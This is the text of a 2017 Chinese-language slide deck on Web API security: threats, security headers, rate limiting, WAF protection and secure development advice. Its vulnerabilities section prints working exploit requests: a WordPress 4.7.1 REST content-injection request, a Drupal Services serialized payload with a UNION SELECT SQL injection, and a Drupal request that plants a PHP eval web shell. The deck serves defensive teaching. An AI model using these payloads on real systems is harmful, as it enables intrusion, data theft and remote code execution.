

Web API 安全漏洞与检测防护

徐诣博

2017.8.25



1、Web API 安全威胁



2、Web API 安全漏洞

Contents Page

3、WAF Web API 漏洞防护

4、Web API 安全开发建议





Contents Page



Web API 安全威胁

什么是 Web API

- 使用 HTTP 协议通过网络调用的 API
- · Web API 是一个 Web 系统,可以通过访问 URI 与服务器完成信息交互,或者获取存放在服务器上的数据信息等,调用者通过程序访问并机械地使用这些数据。
- Web API 和 Web Services
- JSON



谁在用 Web API













































API安全威胁

- 非法信息窃取
- · 浏览器访问 Web API 的意外
- Web API 业务漏洞
- Web API 访问速率限制不当
- HTTP 头部设置不当



非法信息窃取

- HTTP 嗅探/HTTPS 嗅探,会话劫持
 - HTTPS TLS 1.2
 - SSLStrip 攻击
 - HSTS
- SSL 漏洞
 - 2014 OpenSSL Heartbleed 安全漏洞
 - CCS 注入漏洞
- 客户端证书验证漏洞
 - 证书有效性验证
- HTTPS性能
 - 是否允许一些 Web API 采用 HTTP



浏览器访问 Web API 的意外

- XSS
 - 输入/输出过滤
 - 严格的 Content-Type 限制
- CSRF
 - CSRF Token
- XXE
 - XML解析
- JSON劫持
 - X-Requeated-With
 - 浏览器 JSON 数据识别
 - 禁止 Javascript 执行 JSON 数据



Web API 业务漏洞

- 参数篡改
 - 连续编号 ID /订单
 - 1元支付
- 重放攻击
 - 伪装支付
- 权限控制
 - 越权操作



Web API 访问速率限制不当

- API 大规模访问/DoS 攻击
 - API 访问速率控制
 - 限制单用户访问次数
 - 识别用户/限速单位/何时重置
 - 429 状态码
 - HTTP/1.1 429 Too Many Requests
 - Retry-After: 3600
 - HTTP 头部传递限速信息
 - X-RateLimit-Limit 单位时间访问上限
 - X-RateLimit-Remaining 剩余访问次数
 - X-RateLimit-Rest 访问次数重置时间



HTTP头部设置不当

- X-Content-Type-Options: nosniff
 - > = IE8 nosniff
- X-XSS-Protection
 - > = IE8 X-XSS-Protection: 1; mode=block
 - Chrome/Firefox 中无效
- X-Frame-Options
 - Deny <frame>,<iframe>,<object>
 - > = IE8 deny
- Content-Security-Policy
 - 减轻 XSS,定义 script,images,fonts,css 白名单



HTTP头部设置不当

- Strict-Transport-Security
 - HSTS
 - Strict-Transport-Security: max-age=<expire-time>; preload
- Public-Key-Pins
 - HTTP-based pulic key pinning HPKP
 - Public-Key-Pins: pin-sha256=<base64==>; max-age=<expireTime>; report-uri=<reportURI>
 - https://www.ssllabs.com/ssltest/
- Set-Cookie
 - Secure
 - HttpOnly



Github API 首部

X-Runtime-rack: 0.036556 Vary: Accept-Encoding

X-GitHub-Request-Id: D0F1:5FD5:1039E1:14E4CB:599D3D13

Content-Type: application/octet-stream Server: GitHub.com Status: 304 Not Modified X-RateLimit-Limit: 60 X-RateLimit-Remaining: 56 X-RateLimit-Reset: 1503480422 Cache-Control: public, max-age=60, s-maxage=60 Vary: Accept ETag: "96b3e676e6c73a05b197116e58be9b8c" Last-Modified: Fri, 26 Feb 2016 22:45:40 GMT Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-R erval Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none' Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block







Contents Page



Web API 安全漏洞

常见的 Web API 安全漏洞

- WordPress 4.7 / 4.7.1 REST API 内容注入漏洞
- Drupal Module RESTWS 7.x Remote PHP Code Execution
- SugarCRM 6.5.23 REST PHP Object Injection Exploit
- Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution
- Oracle GlassFish Server REST CSRF
- QQ Browser 9.6 API 权限控制问题导致泄露隐私模式
- Hacking Docker: Registry API 未授权访问



WordPress REST API 内容注入漏洞

/wp-json/wp/v2/posts/1?id=1abc id=1abc 等于 id=1

POST /cms/wordpress_v4_7_1/wordpress/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1

Accept-Encoding: identity

Content-Length: 26 Host: 172.16.7.20

Content-Type: application/json

Connection: close

User-Agent: Python-urllib/2.7

{"title": "wwwwwwwwwww"}



Drupal 7.X Services Module Unserialize() to RCE

SQL注入攻击

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1

Host: 172.16.7.20

Accept: application/json

Content-Type: application/vnd.php.serialized

Content-Length: 888

a:2:{s:8:"username";O:19:"SelectQueryExtender":4:{s:8:".*.query";O:17:"DatabaseCondition":5:{s:13:".*.cond itions";a:1:{s:12:"#conjunction";s:3:"AND";}s:12:".*.arguments";a:0:{}s:10:".*.changed";b:0;s:29:".*.queryPlac eholderIdentifier";N;s:13:"stringVersion";s:494:"0x3a) UNION SELECT ux.uid AS uid, ux.name AS name, '\$S\$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd' AS pass, ux.mail AS mail, ux.theme AS theme, (SELECT data FROM {cache} WHERE cid='services:my_rest_endpoint:resources') AS signature, ux.pass AS signature_format, ux.created AS created, ux.access AS access, ux.login AS login, ux.status AS status, ux.timezone AS timezone, ux.language AS language, ux.picture AS picture, ux.init AS init, ux.data AS data FROM {users} ux WHERE

ux.uid<>(0";)s:19:".*.uniqueIdentifier";s:8:"anything";s:13:".*.connection";N;s:14:".*.placeholder";i:0;)s:8:"password";s:10:"ouvreboite";}



Drupal 7.X Services Module Unserialize() to RCE

PHP 远程代码执行

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1

Host: 172.16.7.20

Accept: application/json

Content-Type: application/json

Content-Length: 91

```
{"filename":"dixuSOspsOUU.php","data":"<?php
eval(file_get_contents('php:\/\/input')); ?>"}
```



Drupal Core - 高危漏洞

REST 权限控制 bypass

- Drupal CVE-2017-6919 Access Bypass Vulnerability
- File REST resource does not properly validate Less Critical -Drupal 8 - CVE-2017-6921
- REST API can bypass comment approval Access Bypass -Moderately Critical - Drupal 8 - CVE-2017-6924



Web API 渗透测试

- 渗透测试工具
 - BurpSuite
 - Postman
 - Hurl.it
 - SoapUI NG Pro
 - Fuzzapi
- 渗透测试平台
 - Hackazon
 - Mutillidae
 - DVWS







第8章

WAF Web API 漏洞防护

Contents Page

WAF 防护 Web API 漏洞攻击

- 通用漏洞防护
- Web API 访问合规
- Web API 访问速率控制
- Web API 防护难点



通用漏洞防护

- SQL注入
- XSS
- CSRF
- XXE
- 命令注入
- 代码注入
- 暴力破解



Web API 访问合规

- -输入/输出校验
 - URI
 - Content-Type
 - application/xml
 - application/json
 - application/vnd.php.serialized
- API 访问自学习



Web API 访问速率控制

- 分配会话 CID Cookie
- 针对特定的 URI
 - Requests / Minute
 - Requests / Session
 - Session Length



Web API 防护难点

- API 是为程序调用而设计
- API 常见格式
 - JSON/XML/php.serialized 解析
 - JSON 主流
 - · XML逐渐减少
 - PHP 广泛性
 - GWT 框架 JavaRMI Google x
 - WebSockets ws://** x
- Web Services SOAP
- 权限管理与访问控制
- WAF API 防护能力与配置成本







Contents Page

第4章

Web API 安全开发建议

开发建议

- · 完善的 API 文档
- 约定俗称的开发规范
- · 关键应用 API 沙盒
 - 涉及支付/个人信息
- API Console
- API SDK



URI

- URI 是否短小且易输入
- URI 是否见名知意
- URI 是否只有小写字母组成
- URI 是否容易修改
- URI 是否反映了服务器的架构
- URI 是否统一
- URI 中的单词表示的意思是否通识
- URI 中名词是否为复数形式
- URI 中有没有空格和需要编码的字符
- URI 中单词和单词之间是否使用连接符(-)



身份认证

- 登录是否使用 Oauth 2.0
- JSON Web Tokens (JWT)



响应数据

- · 响应数据是否使用 JSON 作为默认格式
- 响应数据是否支持了不必要的 JSONP
- 响应数据是否可以被客户端篡改
- 响应数据的结构是否尽量扁平化
- 响应数据是否用对象来描述而不是数组
- 响应数据中的名称所用的单词是否通识
- 响应数据中名称是否在整个 API 里面保持一致
- 响应数据中是否用了奇怪的缩写
- 响应数据的名称单复数是否和数据内容一致



响应数据

- 出错时响应数据是否便于定位分析
- · 出错时是否返回 HTML 数据
- 是否返回合适的状态码
- 是否返回为合适的媒体类型
- · 能否支持 CORS
- 是否设置合适的头部控制缓存



其他

- 是否对 API 进行版本管理
- API 版本命名时有没有遵循语义化版本控制
- · 是否在 URI 中嵌入版本编号
- 是否考虑版本兼容性及 API 版本终止事宜
- 是否使用 HTTPS 来提供 API
- 是否正确处理 JSON 转义
- 是否通过 X-Requested-With 首部防止 Javascript 读取 JSON 数据
- 浏览器访问 API 时是否设置 CSRF Token
- 是否对 API 接收参数做非法性检验
- 是否有 API 访问次数/速率控制
- 是否正确的设置 HTTP 安全头部



API-Security-Checklist

API-Security-Checklist

https://github.com/shieldfy/API-Security-Checklist/



THANKS!

